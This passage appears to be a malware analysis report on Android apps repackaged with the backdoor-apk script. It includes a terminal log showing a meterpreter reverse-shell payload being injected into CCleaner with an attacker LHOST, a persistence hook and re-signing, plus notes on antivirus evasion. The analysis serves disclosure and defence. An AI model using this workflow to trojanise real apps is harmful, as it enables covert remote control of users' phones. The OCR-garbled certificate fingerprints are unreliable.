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We collected a few samples repackaged with this script. It was obvious that most of
the apps were taken from Google Play Store. Here's the list of package names of
repackaged apps:

com.aag.secretstealth.warshipcombat
com.apalon.weatherlive.free
com.artifexmundi.setsail.gp.free
com.igg.android.lordsmobile
com.indigogaming.agentaliens
com.KozGames.SovietRally
com.microorganism.microorganism
com.mobirix.warvillage
com.mojang.minecraftpe
com.mostplayed.flippybottle
com.pandora.android
com.piriform.ccleaner
com.Playway.CMMobile16
com.ghfka0093.cutememo
com.temple.subwaygame
com.ttech.GoDrive

com.viber.voip
com.vicman.photolabpro
de.ByteRockersGames.BeeFense Free
fr.clmh.milothecatsurf
ru.nlce.vkapp

We found no other antivirus software to be detecting this backdoor.

2 total

SHA256 721003a4edf3001b28f799add1a79445814a453578a003bf65974da49b54e862 $
File name cutememo_backdoor.apk —
Detection ratio: 0/ 54 ‘f 0 0

Analysis date: 2016-10-24 09:21:04 UTC ( 1 minute ago )

Fig 2. Virustotal scan result

We selected repackaged Ccleaner app from Piriform for a detailed analysis. The
repackaged Ccleaner app with the backdoor worked exactly like the original app
without any warnings. We checked the certificate of the app to ensure we have a
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repackaged app and not the app shipped by the developer. It was interesting to find
out that all the information used in the genuine certificate had been copied as it is in
the repackaged app's certificate.

It is the fingerprints that distinguish an original certificate from a fake one.

Signature:

Owner: CN=Piriform Ltd, OU=Piriform Ltd, 0=Piriform Ltd, L=London, $T=London, C=GB
: CN=Piriform Ltd, OU=Piriform Ltd, O=Piriform Ltd, L=London, ST=London, C=GB
Serial number: 4af5h3c
Walid from: HWed Oct 16 15:53:22 IST 2013 until: Sun Har 83 15:53:22 IST 2041
Certificate fingerprints:
HD5: B8:70:B5:03:6A:58:3F:DB:7D:43:6C:50:92:3F:0B:3B
SHAL: 46:8C:0A:E2:1C:D7:F1:D&:14:4C:560:82: 1:5B:6C:7F:D6:F7:80
SHA256: A6:B7:F6:AL:54:59:BD:75:70:C1:DC:FC:D7:4F:CE:57:7B:11:3E:A7:B1:61:01:69:C0:1D:E0:AR:IA:6A:81:4A
3lgnature algorithm name: SHA2L6withRSA
ersion

Fig 3. Original app certificate

Signature:

Owner: CH=Piriform Ltd, OU=Piriform Ltd, 0=Piriform Ltd, L=London, $T=London, C=GB
: CN=Piriform Ltd, OU=Piriform Ltd, O0=Piriform Ltd, L=London, ST=London, C=GB

Serial number: 720540cc

Valid from: Wed Oct 85 16:32:43 IST 2016 until: Sun Feb 21 16:32:43 IST 2044

Certificate fingerprints:
MD5: FEA:81:3A:53:1A:7E:BB:08:8D:80:02:6D:BF:11:C8:98
SHA1: CE:B2:AE:F4:FC:31:99:8C:E1:01:51:A2:A3:A6:08:8B:76:36:F%:B0
SHAZS56: BA:91:DF:4B:BC:98:98:51:17:E9:32:0A:2E:90:09:21:26:FE:DA:D1:C1:35:AB:33:8E:CF:81:E4:ED:56:95:19
3lgn@tureaalJ0r1thm name: SHA256withRSA
ersion:

Fig 4. Backdoor app certificate

Then we decided to test the script on the original Ccleaner app. Fig. 5 shows how
easy it is to run this script on any APK file to inject the backdoor in it.
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root@kali: ~/Desktop/Android/backdoor-apk/backdoor-apk @ 0 0

File Edit View Search Terminal Help
:~/Desktop/Android/backdoor-apk/backdoor-apk# ./backdoor-apk.sh ccleaner original.apk

AAAAAA PPPPPPP KKK KKK
AAA  AAA PPP PPP KKK KKK
AAAA  AAAA PPP  PPPP  KKKKKK
AAAAAAAAAAAA  PPPPPPPP KKK KKK
AAAA AAAA  PPPP KKK KKK
AAAA PPPP KKK  KKKK
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[*] Running backdoor-apk.sh v0.1.4 on Thu Oct 20 13:03:34 IST 2016
[+] Android payload options:
1) meterpreter/ erse_http 4) shell/reverse http
2) meterpret erse_https 5) shell/reverse https
3) meterpreter/reverse tcp 6) shell/reverse tcp
Please select an Android payload option: 1
Please enter an LHOST value: 10.10.96.221
Please enter an LPORT value: 4455
Generating RAT APK file...done.
Using payload: android/meterpreter/reverse http
Handle the reverse connection at: 10.10.96.221:4455
Decompiling RAT APK file...done.
Decompiling original APK file...done.
Merging permissions of original and payload projects...done.
Running proguard on RAT APK file...done.
Decompiling obfuscated RAT APK file...done.
Creating new directories in original project for RAT smali files...done.
Copying RAT smali files to new directories in original project...done.
Fixing RAT smali files...done.
Obfuscating const-string values in RAT smali files...done.
Locating smali file to hook in original project...done.
Adding hook in original smali file...done.
Adding persistence hook in original project...done.
Recompiling original project with backdoor...done.
Generating RSA key for signing...done.
Signing recompiled APK...done.
Verifying signed artifacts...done.
Aligning recompiled APK...done.
:~/Desktop/Android/backdoor-apk/backdoor-apk# I

Fig 5.

We ran an analysis on the code of the repackaged app and found that the script
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adds a package of 5 classes into the original app's code, while the rest of the code
stays the same.
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Fig 6. Original app code Fig 7. Backdoor app code

The package name "biz.king.logging” is not fixed; it is generated by selecting

random words from a file containing a huge number of words. This technique makes
the job of antivirus software more difficult to detect such malicious apps.
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